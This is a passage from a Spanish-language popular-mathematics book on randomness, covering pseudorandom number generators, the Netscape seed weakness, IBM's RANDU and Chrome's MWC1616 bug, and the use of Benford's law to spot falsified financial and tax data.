random.random()	en	Python	nunca	más!).	Y	si	le	gusta	que	su	ruido	de	fondo
sea	 binario,	 disponen	 de	 una	 versión	 en	 audio	 para	 que	 así	 pueda	 escuchar
cómo	suena	el	azar.

Aleatorio	de	memoria

Digamos	 que	 usted	 está	 intentando	 recortar	 su	 presupuesto	 a	 la	 hora	 de
obtener	 un	 número	 aleatorio.	 La	 sección	 de	 ofertas	 de	 aleatoriedad	 son	 los
números	«pseudoaleatorios».	Como	una	especie	de	versión	de	marca	blanca
del	producto	original,	 los	números	pseudoaleatorios	 se	parecen	mucho	a	 los
originales,	pero	están	hechos	con	un	nivel	de	calidad	inferior.

Los	números	pseudoaleatorios	son	los	que	el	ordenador,	el	teléfono	móvil
o	 cualquier	 dispositivo	 que	 no	 tenga	 su	 propio	 generador	 de	 números
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aleatorios	 nos	 da	 cuando	 le	 solicitamos	 uno.	 La	 mayoría	 de	 los	 teléfonos
móviles	 llevan	una	 calculadora	 integrada	y,	 si	 giramos	 el	 teléfono,	veremos
todas	 las	 opciones	 de	 la	 calculadora	 científica.	 Acabo	 de	 pulsar	 el	 botón
aleatorio	 «Rand»	 en	 la	 mía	 y	 me	 ha	 aparecido	 en	 la	 pantalla
0,576450227330181[29].	 En	 un	 segundo	 intento	 me	 aparece
0,063316529365828.	Cada	vez	obtengo	un	nuevo	número	al	azar	entre	cero	y
uno,	 listo	 para	 ser	 ampliado	 hasta	 dondequiera	 que	 llegue	mi	 necesidad	 de
aleatoriedad.

Poder	 disponer	 de	 un	 generador	 de	 números	 aleatorios	 de	 bolsillo	 es
increíblemente	práctico	para	poder	aleatorizar	cualquier	clase	de	decisión	que
tengamos	 que	 tomar	 en	 nuestra	 vida.	 Cuando	 salgo	 a	 tomar	 algo	 con	 mi
hermano	utilizamos	los	números	aleatorios	para	decidir	quién	paga	la	factura
(primera	cifra	par:	pago	yo;	impar;	paga	él).	Si	quiere	añadir	números	al	final
de	una	contraseña,	ahora	puede	ser	menos	predecible.	¿Quiere	dar	a	alguien
un	número	de	teléfono	falso	creíble?	El	botón	Rand	es	su	nuevo	amigo.

Pero,	 lamentablemente,	 esos	 números	 no	 son	 realmente	 aleatorios.	 Al
igual	que	ocurría	con	el	Big	Board,	siguen	una	secuencia	predeterminada	de
valores.	 Excepto	 que,	 en	 lugar	 de	 memorizar	 una	 lista	 por	 adelantado,	 se
generan	 sobre	 la	 marcha.	 Los	 generadores	 de	 números	 pseudoaleatorios
utilizan	ecuaciones	matemáticas	para	generar	números	que	parecen	aleatorios,
aunque	no	lo	son.

Para	crear	sus	propios	números	pseudoaleatorios,	empiece	con	un	número
arbitrario	de	cuatro	dígitos.	Yo	voy	a	utilizar	el	año	de	mi	nacimiento:	1980.
Ahora	 necesitamos	 convertirlo	 en	 otro	 número	 de	 cuatro	 dígitos	 que,
aparentemente,	 no	 tenga	 relación	 alguna	 con	 el	 anterior.	 Si	 lo	 elevamos	 al
cuadrado,	tenemos	el	7.762.392.000,	y	voy	a	ignorar	el	primer	dígito	y	coger
desde	 la	 segunda	 a	 la	 quinta	 posición:	 7623.	 Si	 repetimos	 este	 proceso	 de
elevar	al	cuadrado	y	extraer	cinco	dígitos	obtenemos	los	siguientes	números:
4297,	9340,	1478,	etc.

Esta	 es	 una	 secuencia	 de	 números	 pseudoaleatorios.	 Se	 han	 generado
mediante	un	proceso	que	carecía	de	incertidumbre.	Los	dígitos	9340	siempre
vendrán	después	del	4297,	pero	no	de	una	forma	obvia.	Mi	secuencia	no	es
muy	buena	porque	solo	hay	una	cierta	cantidad	de	números	de	cuatro	dígitos
y,	 finalmente,	 llegaremos	 al	 mismo	 dos	 veces	 y	 los	 números	 volverán	 a
repetirse	siguiendo	un	bucle.	En	este	caso,	el	150º	es	el	mismo	que	el	tercero
de	 la	 lista:	 el	 4297.	 A	 ese	 le	 sigue	 el	 9340	 y	 se	 repetiría	 la	 lista	 de	 147
números	más	eternamente.	Las	secuencias	pseudoaleatorias	auténticas	utilizan
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cálculos	mucho	más	 complicados,	 de	 tal	 forma	 que	 los	 números	 no	 acaban
creando	un	bucle	tan	rápidamente	y	ayudan	a	complicar	el	proceso.

Escogí	 1980	 como	 primer	 número	 con	 el	 que	 iniciar	 mi	 secuencia	 (la
«semilla»),	 pero	podría	 haber	 escogido	otro	 con	 el	 que	habría	 obtenido	una
secuencia	muy	 diferente.	Los	 algoritmos	 pseudoaleatorios	 utilizados	 a	 nivel
industrial	 dan	 números	 completamente	 diferentes	 solo	 con	 cambiar
ligeramente	 sus	 semillas.	 Incluso	 si	 estamos	 utilizando	 un	 generador
pseudoaleatorio	 conocido,	 si	 elegimos	 una	 semilla	 «aleatoria»,	 los	 números
que	 producirá	 serán	 impredecibles.	 Pero	 el	 mejor	 generador	 de	 números
pseudoaleatorios	no	será	muy	útil	si	somos	perezosos	a	la	hora	de	introducir
la	semilla.	Incluso	desde	los	primeros	años	de	internet,	el	tráfico	en	la	red	ha
sido	seguro	gracias	a	que	se	encriptaba	con	números	aleatorios.	Pero,	cuando
un	navegador	escoge	números	aleatorios	para	utilizarlos	en	una	encriptación
conocida	 como	Capa	de	Sockets	Seguros	 (SSL	por	 sus	 siglas	 en	 inglés),	 es
muy	fácil	que	aquellos	que	quieren	«escuchar»	adivinen	cuál	es	la	semilla.

La	World	Wide	Web	irrumpió	en	la	escena	pública	más	o	menos	en	1995
y,	para	mí,	no	hay	nada	más	típico	de	los	noventa	que	el	navegador	Netscape.
Olvídese	de	series	como	Salvados	por	la	campana	o	Sexo	en	nueva	York:	para
mí,	 los	noventa	fueron	como	un	cometa	que	giraba	alrededor	de	una	letra	N
mayúscula	mientras	esperaba	a	que	se	cargara	una	página	web.	Era	la	época
en	la	que	 todo	era	«ciber»	y	 la	gente	utilizaba	 la	expresión	«superautopistas
de	la	información»	con	cara	seria.

A	 la	 hora	 de	 buscar	 una	 semilla	 a	 partir	 de	 la	 que	 generar	 números
aleatorios,	 Netscape	 utilizaba	 una	 combinación	 de	 la	 hora	 actual	 y	 de	 sus
identificadores	 de	 procesos	 (ID).	 En	 la	 mayoría	 de	 sistemas	 operativos,
siempre	 que	 se	 ejecuta	 un	 programa	 se	 le	 da	 un	 número	 identificativo	 de
proceso	para	que	el	ordenador	pueda	llevar	un	registro.	Netscape	utilizaba	ese
ID	 de	 la	 sesión	 actual	 al	 igual	 que	 el	 ID	 del	 programa	 parental	 que	 abría
Netscape,	combinado	con	el	tiempo	actual	(segundos	y	microsegundos)	para
utilizarlos	como	semilla	de	su	generador	de	números	pseudoaleatorios.

Pero	esos	números	no	 son	difíciles	de	adivinar.	En	 la	 actualidad,	utilizo
Chrome	 como	 navegador	 y	 la	 última	 ventana	 que	 miré	 tenía	 como
identificador	 de	 proceso	 el	 número	 4122.	 Fue	 abierto	 por	 otra	 ventana	 de
Chrome	cuando	hice	clic	sobre	«nueva	ventana»	y	esa	ventana	parental	tiene
como	identificador	de	proceso	el	298.	Como	puede	ver,	¡no	son	números	muy
grandes!	Si	un	agente	malicioso	supiera	el	momento	exacto	en	el	que	abrí	esa
ventana	antes	de	hacer	algo	que	precise	ser	encriptado	(como	identificarme	en
mi	 cuenta	 bancaria	 en	 línea),	 podría	 averiguar	 una	 lista	 de	 todas	 las
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combinaciones	 posibles	 de	 tiempos	 e	 identificadores	 de	 procesos.	 Para	 un
humano	es	una	 lista	muy	 larga	en	 la	que	buscar,	pero	no	 tanto	para	que	un
ordenador	pueda	comprobar	todas	las	opciones	posibles.

En	1995	Ian	Goldberg	y	David	Wagner	(que	por	entonces	estudiaban	un
doctorado	 en	 informática	 en	 la	 Universidad	 de	 California,	 en	 Berkeley)
demostraron	que	un	agente	malicioso	inteligente	podría	producir	una	lista	de
posibles	 semillas	 aleatorias	 lo	 suficientemente	 pequeñas	 para	 que	 un
ordenador	pudiese	comprobarlas	todas	en	cuestión	de	minutos,	haciendo	que
la	 encriptación	 no	 sirva	 para	 nada[30].	 Anteriormente,	 Netscape	 había
declinado	 varios	 ofrecimientos	 de	 ayuda	 de	 la	 comunidad	 experta	 en
seguridad	 pero,	 gracias	 al	 trabajo	 de	 Goldberg	 y	 Wagner,	 arreglaron	 el
problema	 y	 pusieron	 a	 prueba	 su	 solución	 para	 que	 fuera	 analizada
independientemente	por	cualquiera	que	quisiera	ponerla	a	prueba.

Los	 navegadores	 modernos	 obtienen	 sus	 semillas	 aleatorias	 a	 partir	 del
ordenador	en	el	que	 se	 están	ejecutando	mediante	 la	mezcla	de	cerca	de	un
centenar	 de	 números	 diferentes:	 además	 del	 tiempo	y	 los	 identificadores	 de
procesos,	también	utilizan	cosas	como	la	cantidad	de	espacio	libre	actual	que
queda	 en	 el	 disco	 duro	 y	 el	 tiempo	 que	 pasa	 cuando	 el	 usuario	 teclea	 las
diversas	 teclas	 o	 mueve	 el	 ratón.	 Utilizar	 un	 generador	 de	 secuencias
pseudoaleatorias	 con	 una	 semilla	 fácil	 de	 adivinar	 es	 como	 comprar	 una
cerradura	 cara	 y	 luego	 utilizarla	 como	 tope	 de	 la	 puerta.	 O	 comprar	 una
cerradura	cara	y	dejar	visibles	los	tornillos,	con	lo	que	es	fácil	desenroscarlos.

Los	números	aleatorios	fallan	sobre	todo	en	los	planos

Los	algoritmos	que	generan	números	pseudoaleatorios	están	constantemente
evolucionando	 y	 adaptándose.	Necesitan	 equilibrar	 su	 aparente	 aleatoriedad
siendo	 eficientes,	 fáciles	 de	 utilizar	 y	 seguros.	 Dado	 que	 los	 números
aleatorios	 son	 fundamentales	 para	 la	 seguridad	 digital,	 algunos	 de	 esos
algoritmos	 se	 guardan	 bajo	 llave.	 Microsoft	 nunca	 ha	 dicho	 cómo	 genera
Excel	sus	números	pseudoaleatorios	(ni	los	usuarios	están	autorizados	a	elegir
sus	propias	 semillas).	Por	 suerte,	una	cantidad	suficiente	de	esos	algoritmos
son	de	dominio	público,	por	lo	que	podemos	analizarlos.

Uno	 de	 los	 primeros	 métodos	 estandarizados	 para	 generar	 números
pseudoaleatorios	 era	 multiplicar	 cada	 número	 de	 nuestra	 secuencia	 por	 un
multiplicador	largo	K,	luego	dividir	la	respuesta	por	un	número	diferente	M	y
mantener	 el	 resto	 como	 el	 siguiente	 término	 pseudoaleatorio.	 Este	 era	 el
método	utilizado	por	casi	 todos	 los	primeros	ordenadores,	hasta	que	George
Marsaglia,	 un	 matemático	 de	 Boeing	 Scientific	 Research	 Laboratories,
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localizó,	 en	 1968,	 un	 error	 fatal.	 Si	 cogemos	 la	 secuencia	 de	 números
aleatorios	 que	 resulta	 y	 hacemos	 un	 gráfico	 utilizando	 los	 números	 como
coordenadas,	 se	alinean.	Hay	que	 reconocer	que	esto	 requiere	crear	gráficos
complicados	que	superaban	las	diez	dimensiones.

La	 investigación	 de	 Marsaglia	 estaba	 analizando	 estos	 generadores
creados	con	una	multiplicación	y	una	posterior	división,	pero	por	una	elección
poco	 rigurosa	 de	 los	 valores	 de	 K	 y	 M,	 la	 situación	 aún	 podía	 empeorar
mucho.	E	IBM	dio	en	el	clavo	cuando	eligió	erróneamente	K	y	M.	La	función
RANDU	 utilizada	 por	 las	 máquinas	 IBM	 obtenía	 cada	 nuevo	 número
pseudoaleatorio	multiplicando	 por	K	 =	 65.539	 y	 luego	 dividiendo	 por	M	=
2.147.483.648,	que	son	bastante	malos.	El	valor	K	es	solo	 tres	más	que	una
potencia	 de	 dos	 (concretamente,	 65.539	 =	 216	 +	 3)	 y,	 combinado	 con	 un
módulo	que	también	era	una	potencia	de	dos	(2.147.483.648	=	231),	todos	los
supuestos	 datos	 aleatorios	 acababan	 estando	 inquietantemente	 bien
organizados.

Aunque	 el	 trabajo	 de	 Marsaglia	 tuvo	 que	 utilizar	 las	 convergencias	 en
espacios	 matemáticos	 abstractos,	 el	 número	 aleatorio	 de	 IBM	 se	 podía
representar	en	un	gráfico	como	puntos	 tridimensionales	que	encajan	en	solo
quince	planos.	Eso	es	tan	aleatorio	como	un	cuchador	(tenedor-cuchara).

Obtener	números	pseudoaleatorios	de	calidad	sigue	 siendo	un	problema.
En	 2016	 el	 navegador	 Chrome	 tuvo	 que	 arreglar	 su	 generador	 de	 números
pseudoaleatorios.	 Los	 navegadores	 modernos	 son	 bastante	 buenos	 creando
semillas	para	 sus	números	pseudoaleatorios,	 pero,	 aunque	parezca	 increíble,
los	 propios	 generadores	 también	 pueden	 causar	 problemas.	 Chrome	 estaba
utilizando	 un	 algoritmo	 llamado	 MWC1616,	 que	 estaba	 basado	 en	 una
combinación	de	multiplicación	con	llevada	(las	siglas	MWC	corresponden	al
nombre	 en	 inglés)	 y	 con	 concatenación	 para	 generar	 números
pseudoaleatorios.	 Pero,	 por	 error,	 se	 repetía	 a	 sí	 mismo,	 una	 y	 otra	 vez.
Menudo	aburrimiento.

Algunos	 programadores	 difundieron	 una	 extensión	 de	 Chrome	 que	 la
gente	se	podía	descargar	y	utilizar.	Para	saber	cuántas	personas	se	 la	habían
instalado,	después	de	la	instalación	se	generaba	un	número	aleatorio	como	ID
arbitrario	 de	 un	 usuario	 y	 lo	 mandaba	 de	 vuelta	 a	 la	 base	 de	 datos	 de	 la
compañía.	 Tenían	 un	 gráfico	 en	 el	 despacho	 que	 mostraba	 un	 incremento
notable	de	 las	 instalaciones	de	su	extensión	hasta	que,	un	día,	el	número	de
nuevas	 instalaciones	 cayó	 a	 cero.	 ¿Había	 decidido	 todo	 el	 mundo	 dejar	 de
utilizar	su	extensión	de	repente?	¿O	había	algún	error	fatal	en	su	código	que
había	provocado	que	dejara	de	funcionar?
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Este	no	es	el	aspecto	que	esperas	que	tengan	los	datos	aleatorios.

No.	 Su	 extensión	 estaba	 funcionando	 bien	 y	 la	 gente	 se	 la	 seguía
instalando.	Pero	utilizaba	el	lenguaje	de	programación	JavaScript	y	llamó	a	la
función	 integrada	 Math.random()	 para	 obtener	 un	 nuevo	 número	 ID	 de
usuario	para	cada	nueva	 instalación.	Esto	 funcionaba	bien	para	 los	primeros
millones	 de	 casos,	 pero,	 a	 partir	 de	 ahí	 en	 adelante,	 solo	 devolvía	 números
que	 ya	 se	 habían	 utilizado.	 Esto	 significó	 que	 todos	 los	 nuevos	 usuarios
parecían	duplicados	de	aquellos	que	ya	existían	en	la	base	de	datos.

Estos	números	 ID	de	usuario	 eran	valores	de	256	bits	 con	posibilidades
que	 se	medían	 en	 cuatrivigintilliones	 (alrededor	 de	 1077).	No	 hay	 forma	 de
que	se	repita	tan	rápidamente.	Algo	estaba	fallando,	y	el	algoritmo	MWC1616
era	el	culpable.	Los	números	pseudoaleatorios	habían	creado	un	bucle.	No	era
el	 único	 caso	 en	 el	 que	 los	 usuarios	 de	 Chrome	 habían	 tenido	 problemas
aleatorios	 y,	 por	 suerte,	 los	 desarrolladores	 responsables	 del	 motor	 de
JavaScript	 arreglaron	 el	 problema.	 En	 el	 Chrome	 de	 2016	 utilizaron	 un
algoritmo	llamado	xorshift128+	que	proporciona	números	aleatorios	mediante
una	 cantidad	 disparatada	 de	 números	 crecientes	 elevados	 a	 la	 potencia	 de
otros	números.

Así	 que,	 de	 momento,	 el	 mundo	 de	 los	 números	 pseudoaleatorios	 está
tranquilo	y	los	navegadores	están	proporcionándolos	sin	problemas.	Pero	eso
no	 significa	 que	 este	 sea	 el	 final	 de	 la	 historia.	 Un	 día,	 xorshift128+	 será
suplantado.	Cualquier	 cosa	 que	 tenga	 que	 ver	 con	 la	 capacidad	 informática
está	 inmersa	 en	una	carrera	 armamentística	 constante,	 al	mismo	 tiempo	que
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los	ordenadores	cada	vez	más	potentes	pueden	crear	números	mayores.	Solo
es	 cuestión	 de	 tiempo	 antes	 de	 que	 nuestros	 algoritmos	 generadores	 de
números	pseudoaleatorios	ya	no	sirvan	para	lo	que	fueron	creados.	Por	suerte,
por	entones,	una	nueva	generación	de	científicos	informáticos	nos	habrá	dado
algo	mejor.	Necesitamos	más	aleatoriedad	en	nuestras	vidas.

Aleatoriamente	equivocado

Cuando	 era	 profesor	 de	matemáticas	 de	 secundaria,	 uno	 de	 los	 deberes	 que
más	 me	 gustaba	 proponer	 a	 los	 estudiantes	 era	 que	 se	 pasasen	 una	 tarde
tirando	 una	 moneda	 al	 aire	 cien	 veces	 y	 que	 anotaran	 los	 resultados.
Regresaban	a	clase	con	una	larga	lista	de	caras	y	cruces.	Yo	cogía	luego	esas
listas	 y,	 al	 final	 de	 la	 lección,	 las	 separaba	 en	 dos	montones:	 aquellos	 que
habían	 realizado	 la	 tarea	 tal	 como	 se	 lo	 pedí	 y	 habían	 tirado	 una	 moneda
física,	y	aquellos	que	no	se	molestaron	y	se	 limitaron	a	escribir	una	 lista	de
caras	y	cruces	inventadas.

La	mayoría	 de	 los	 estudiantes	 tramposos	 recordaban	 que	 les	 tenían	 que
salir	aproximadamente	el	mismo	número	de	caras	que	de	cruces,	que	es	lo	que
se	esperaría	que	pasase	con	una	moneda	real	y	aleatoria,	pero	se	olvidaron	de
las	 rachas	más	 largas.	 En	 una	moneda	 equilibrada,	 la	 cara	 y	 la	 cruz	 tienen
ambas	las	mismas	probabilidades	de	salir	y,	por	lo	tanto,	los	lanzamientos	son
independientes,	 por	 lo	 que	 esos	 datos	 deberían	 ser	 uniformes.	 Esto	 quiere
decir	 que	 no	 solo	 todos	 los	 sucesos	 posibles	 ocurren	 con	 la	 frecuencia
habitual,	 sino	 también	 las	combinaciones	de	 sucesos.	Ocho	 lanzamientos	de
una	moneda	 seguidos	producirán	una	 secuencia	CXCCXCCC	con	 la	misma
frecuencia	que	CXCXCXCC.

En	 el	 caso	 de	 mis	 estudiantes,	 se	 olvidaron	 de	 que	 CCCCCC	 es	 tan
probable	 como	 cualquier	 otra	 serie	 de	 seis	 lanzamientos.	 Y	 lanzando	 cien
veces	 una	moneda	 esperas	 que	 al	menos	 exista	 una	 serie	 de	 seis	 resultados
iguales,	 si	 no	más	 de	 diez,	 seguidas.	 Escribir	 algo	 como	XXXXXXXXXX
cuando	estás	 falsificando	 los	datos	 te	hace	sentir	que	 lo	estás	haciendo	mal,
pero	es	justo	lo	que	esperaríamos	que	sucediera.	Del	mismo	modo	que	lo	que
esperaríamos	de	unos	adolescentes	es	que	hagan	trampas	con	sus	deberes.

Los	 adultos	 no	 son	 muy	 diferentes.	 Como	 dice	 el	 refrán:	 solo	 hay	 tres
cosas	seguras	en	la	vida:	la	muerte,	los	impuestos	y	las	personas	que	intentan
engañar	a	la	hora	de	pagar	sus	impuestos.	Falsear	la	declaración	de	impuestos
puede	 requerir	 tener	 que	 idear	 algunos	 números	 aleatorios	 que	 parezcan
auténticas	 transacciones	 financieras.	 Y	 en	 lugar	 de	 un	 profesor	 que
comprueba	los	deberes	que	han	hecho	sus	alumnos,	hay	«auditores	forenses»
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que	analizan	las	declaraciones	de	impuestos	para	encontrar	signos	reveladores
de	la	existencia	de	datos	falsos.

Si	el	fraude	financiero	no	se	hace	con	la	suficiente	aleatoriedad,	es	fácil	de
detectar.	 Existe	 una	 comprobación	 financiera	 de	 los	 datos	 estándar	 que
implica	mirar	los	primeros	dígitos	de	todas	las	transacciones	disponibles	y	ver
si	algunos	son	más	o	menos	frecuentes	de	lo	esperado.	Las	desviaciones	de	la
frecuencia	 esperada	 no	 significan	 necesariamente	 que	 se	 esté	 produciendo
algo	 perverso,	 pero	 cuando	 hay	 demasiadas	 transacciones	 que	 se	 han	 de
comprobar	 de	 forma	 manual,	 las	 que	 son	 inusuales	 son	 un	 buen	 punto	 de
partida.	Los	investigadores	de	un	banco	de	Estados	Unidos	analizaron	los	dos
primeros	dígitos	de	los	balances	de	todas	las	tarjetas	de	crédito	en	los	que	el
banco	 había	 declarado	 la	 deuda	 como	 irrecuperable	 y	 existía	 un	 pico	 muy
notable	en	el	49.	Se	rastreó	y	se	vio	que	estaba	asociado	a	un	único	empleado,
que	 estaba	 dando	 tarjetas	 de	 crédito	 a	 amigos	 y	 familiares	 que	 luego
acumulaban	una	deuda	de	entre	4.900	y	4.999	dólares.	El	máximo	que	podía
cancelar	un	empleado	sin	autorización	era	5.000	dólares.

Ni	los	propios	auditores	están	exentos.	Una	gran	compañía	auditora	hizo
una	comprobación	de	los	primeros	dos	dígitos	de	todos	los	tiquetes	de	gastos
presentados	por	sus	empleados.	En	esta	ocasión	había	muchos	más	importes
que	empezaban	por	48	de	los	que	debería	haber.	De	nuevo	el	responsable	era
un	 único	 empleado.	 Los	 auditores	 que	 trabajaban	 para	 la	 empresa	 podían
presentar	 tiquetes	de	gastos	cuando	 trabajaban	 fuera	del	despacho,	pero	una
persona	estaba	reclamando	también,	y	de	forma	sistemática,	su	desayuno	de
camino	a	 la	oficina.	Y	 siempre	compraba	el	mismo	café	y	 el	mismo	muffin
con	un	coste	de	4,82	dólares.

En	 estos	 casos,	 si	 la	 persona	 hubiera	 sido	 más	 aleatoria	 y	 menos
codiciosa,	 podría	 haberse	 camuflado	 entre	 el	 resto	 de	 datos	 y	 no	 habría
llamado	la	atención	con	sus	transacciones.	Pero	tenía	que	tratarse	de	la	clase
correcta	 de	 aleatoriedad.	 No	 todos	 los	 datos	 aleatorios	 se	 ajustan	 a	 una
distribución	uniforme	como	la	que	esperaríamos	de	lanzar	una	moneda	al	aire.
Un	 dado	 con	 cinco	 números	 iguales	 y	 una	 sola	 cara	 diferente	 sigue	 siendo
aleatorio,	pero	los	resultados	no	son	uniformes.	Si	escogemos	días	al	azar	no
obtendremos	 números	 iguales	 de	 días	 laborables	 y	 días	 de	 la	 semana.	Y	 si
gritamos	«¡Hey,	Tom!	Ha	pasado	mucho	 tiempo.	¿Cómo	estás?»	a	extraños
en	 medio	 de	 la	 calle,	 no	 obtendremos	 respuestas	 uniformes	 (pero	 cuando,
casualmente,	nos	dirijamos	a	un	Tom,	habrá	valido	la	pena).

Y	está	claro	que	los	datos	financieros	no	son	uniformes.	Hay	un	montón
de	 datos	 financieros	 que	 se	 ajustan	 a	 la	 ley	 de	 Benford,	 que	 dice	 que	 en
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algunos	 tipos	 de	 datos	 del	mundo	 real	 los	 primeros	 dígitos	 no	 son	 igual	 de
probables.	 Si	 los	 primeros	 dígitos	 fueran	 uniformes,	 cada	 uno	 de	 ellos
aparecería	 el	 11,1%.	 Pero,	 en	 realidad,	 la	 probabilidad	 de	 empezar	 por,
digamos,	 un	1,	 depende	del	 rango	de	números	que	 se	 utilizan.	 Imagine	que
está	midiendo	en	centímetros	cosas	que	llegan	hasta	los	2	metros:	el	55,5%	de
todos	los	números	del	uno	al	doscientos	empiezan	con	un	1.	Imagine	escoger
una	 fecha	 al	 azar:	 el	 36,1%	 de	 todas	 las	 fechas	 tienen	 un	 día	 del	mes	 que
empieza	 por	 1.	 Hacer	 promedios	 con	 distribuciones	 de	 tamaños	 diferentes
significa	 que,	 en	 un	 conjunto	 de	 datos	 apropiados	 y	 lo	 suficientemente
grandes,	alrededor	del	30%	de	los	números	empezará	por	1,	y	así	hasta	llegar
al	9	que	aparecerá	tan	solo	un	4,6%	de	las	veces.

Los	datos	del	mundo	real	tienden	a	ser	increíblemente	parecidos	a	los	de
esta	distribución,	excepto	cuando	los	números	son	inventados.	En	un	ejemplo
documentado,	 el	 propietario	 de	 un	 restaurante	 estaba	 calculando	 las	 ventas
diarias	 totales,	evidentemente	para	 reducir	 lo	más	posible	 los	 impuestos	que
tendría	que	pagar.	Pero	 cuando	 se	 creó	un	gráfico	 con	 los	primeros	dígitos,
eran	completamente	diferentes	a	lo	que	predice	la	ley	de	Benford.	E	incluso	si
los	 primeros	 dígitos	 de	 los	 números	 se	 ajustaran	 a	 dicha	 ley,	 a	menudo	 los
últimos	dígitos	de	los	números	son	aleatorios	de	verdad	y	deberían	seguir	una
distribución	 uniforme.	 Todas	 las	 combinaciones	 de	 dos	 dígitos	 deberían
aparecer	el	1%	de	las	veces,	pero	el	6,6%	de	las	veces	los	totales	diarios	del
restaurante	 acababan	 en	 40.	 No	 era	 una	 peculiaridad	 de	 sus	 precios:	 al
parecer,	al	propietario	le	gustaba	el	número	40.	Como	siempre,	los	humanos
son	malísimos	a	la	hora	de	ser	aleatorios.	Y	resulta	que	los	restaurantes	no	son
muy	buenos	a	la	hora	de	«cocinar»	las	cuentas.
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Distribución	esperada	según	la	ley	de	Benford.

Primeros	dígitos	de	las	poblaciones	de	los	3.141	condados	de	Estados	Unidos	(en	2000).
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La	ley	de	Benford	también	se	aplica	cuando	se	analizan	los	dos	primeros
dígitos	 de	 los	 números,	 y	 esta	 es	 una	 de	 las	 cosas	 en	 las	 que	 se	 fijan	 los
auditores	 forenses.	Es	difícil	obtener	ejemplos	del	mundo	real	en	 los	que	se
pueda	detectar	el	fraude	de	impuestos,	y	todos	los	auditores	forenses	que	he
conocido	 han	 rechazado	 ser	 nombrados	 o	 hablar	 de	 manera	 oficial.	 Mark
Nigrini	 es	 profesor	 adjunto	 en	 la	 escuela	 de	 negocios	 de	 la	Universidad	 de
Virginia	Occidental	 y	 analizó	 un	 conjunto	 de	 157.518	 declaraciones	 de	 los
contribuyentes	 desde	 1978	 que	 la	Agencia	 Tributaria	 había	 dado	 a	 conocer
manteniendo	el	anonimato	de	las	personas.	Se	fijó	en	los	dos	primeros	dígitos
de	 tres	 valores	 diferentes	 que	 la	 gente	 podía	 incluir	 en	 su	 declaración	 de
impuestos:

Primeros	dígitos	a	la	izquierda;	dos	dígitos	finales	a	la	derecha.
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Los	ingresos	por	intereses	son	las	cantidades	que	ingresan	los	ciudadanos
en	un	año	y	proceden	de	sus	cuentas	bancarias;	están,	tal	como	señaló	Nigrini,
sujetas	 a	 «revisión	 por	 terceros».	 En	 otras	 palabras,	 la	 Agencia	 Tributaria
puede	 comprobar	 si	 las	 personas	 están	 diciendo	 la	 verdad.	 Este	 gráfico
muestra	una	correlación	casi	perfecta	con	la	distribución	de	la	ley	de	Benford:

Para	la	Agencia	Tributaria,	no	es	tan	fácil	comprobar	la	cantidad	de	dinero
ganada	gracias	a	 los	dividendos,	pero	sigue	estando	sujeta	a	alguna	revisión
«menos	 rigurosa»	 por	 una	 tercera	 parte,	 y	 la	 distribución	 en	 su	 conjunto	 se
desvía	solo	ligeramente	de	la	distribución	Benford.	Por	lo	que	puede	que	haya
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cierto	amaño.	Hay	picos	grandes	en	00	y	50	(y	otros	más	pequeños	en	otros
múltiplos	 de	 10),	 lo	 que	 implica	 que	 algunas	 personas	 están	 haciendo	 una
estimación	 de	 sus	 ingresos	 por	 dividendos	 en	 lugar	 de	 declararlos	 con
exactitud.

En	1978	se	confió	en	que	la	gente	añadiera	todos	los	intereses	pagados	en
las	hipotecas,	tarjetas	de	crédito,	etc.,	y	que	informaran	de	ello	sin	ninguna	o
muy	poca	comprobación	adicional.	Hay	picos	más	pequeños	en	00	y	50,	que
demuestran	 que	 la	 gente	 es	 más	 reticente	 a	 dar	 la	 impresión	 de	 que	 han
calculado	estos	valores.	El	gráfico	de	la	página	siguiente	también	muestra	la
divergencia	más	grande	de	la	distribución	Benford	esperada.

Eso	 no	 significa	 necesariamente	 que	 se	 haya	 producido	 un	 fraude;
simplemente	implica	que	algo	ha	influido	en	los	datos.	En	este	caso,	una	gran
parte	de	la	desviación	parece	estar	debida	a	que	las	personas	cuyos	pagos	de
intereses	son	cantidades	pequeñas	no	se	molestan	en	declararlos.

No	 puedo	 asegurar	 qué	 análisis	 de	 distribución	 utilizan	 las	 agencias
tributarias	modernas,	pero	estoy	casi	seguro	de	que	hacen	cosas	como	las	que
he	explicado	y	luego	examinan	con	más	minuciosidad	cualquier	cosa	que	se
desvíe	de	 lo	esperado.	Por	 lo	que,	 si	va	a	defraudar	en	 lo	que	 respecta	a	 su
declaración	 de	 impuestos,	 necesita	 asegurarse	 de	 que	 puede	 generar	 los
números	aleatorios	correctos.	Solo	espero	que	la	Agencia	Tributaria	del	Reino
Unido	 (Her	 Majesty’s	 Revenue	 and	 Customs)	 no	 busque	 declaraciones	 de
impuestos	 que	 encajen	 exactamente	 con	 la	 ley	 de	 Benford	 (o	 que	 estén
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sospechosamente	cerca)	para	localizar	así	a	matemáticos	que	estén	falseando
meticulosamente	sus	números…

¿De	verdad	es	totalmente	aleatorio?

Así	 pues,	 resulta	 que	 la	 auténtica	 aleatoriedad	 es	más	 predecible	 de	 lo	 que
espera	la	gente.	E	incluso	si	los	inspectores	de	hacienda	saben	cómo	localizar
datos	 aleatorios	 falsos,	 ¿pueden	 los	 números	 pseudoaleatorios	 ser
indistinguibles	 de	 los	 reales?	 Por	 suerte,	 si	 se	 hace	 cuidadosamente,	 una
secuencia	 pseudoaleatoria	 puede	 tener	 casi	 todas	 las	 propiedades	 que	 se
supone	que	han	de	tener	los	números	aleatorios.

Olvídese	de	las	distribuciones	graciosas.	Como	fuente	de	aleatoriedad,	los
números	 pseudoaleatorios	 deberían	 ser	 completamente	 uniformes	 e
independientes.	 Es	 el	 insulso	 bloque	 constituyente	 de	 la	 aleatoriedad,	 y	 los
usuarios	 pueden	 condimentar	 esos	 números	 aleatorios	 en	 cualquier
distribución	a	medida	que	necesiten.

Existen	tan	solo	dos	reglas	de	oro	para	los	números	aleatorios:

Todos	los	resultados	son	igual	de	probables.
Ningún	suceso	influye	en	el	siguiente.
Patata.

Cuando	estaba	comprobando	 los	deberes	de	mis	alumnos	sobre	aleatoriedad
en	busca	de	tramposos	utilicé	tan	solo	dos	pruebas:	un	test	de	frecuencia	para
asegurarme	de	que	las	caras	y	las	cruces	aparecieron	más	o	menos	el	mismo
número	de	veces	y	otro	 test	 sobre	 las	 series	para	comprobar	 la	aparición	de
combinaciones	más	 largas	 de	 resultados.	 Pero	 esto	 es	 tan	 solo	 el	 punto	 de
partida.	Hay	multitud	de	 formas	de	 comprobar	 si	 los	datos	 se	 ajustan	a	mis
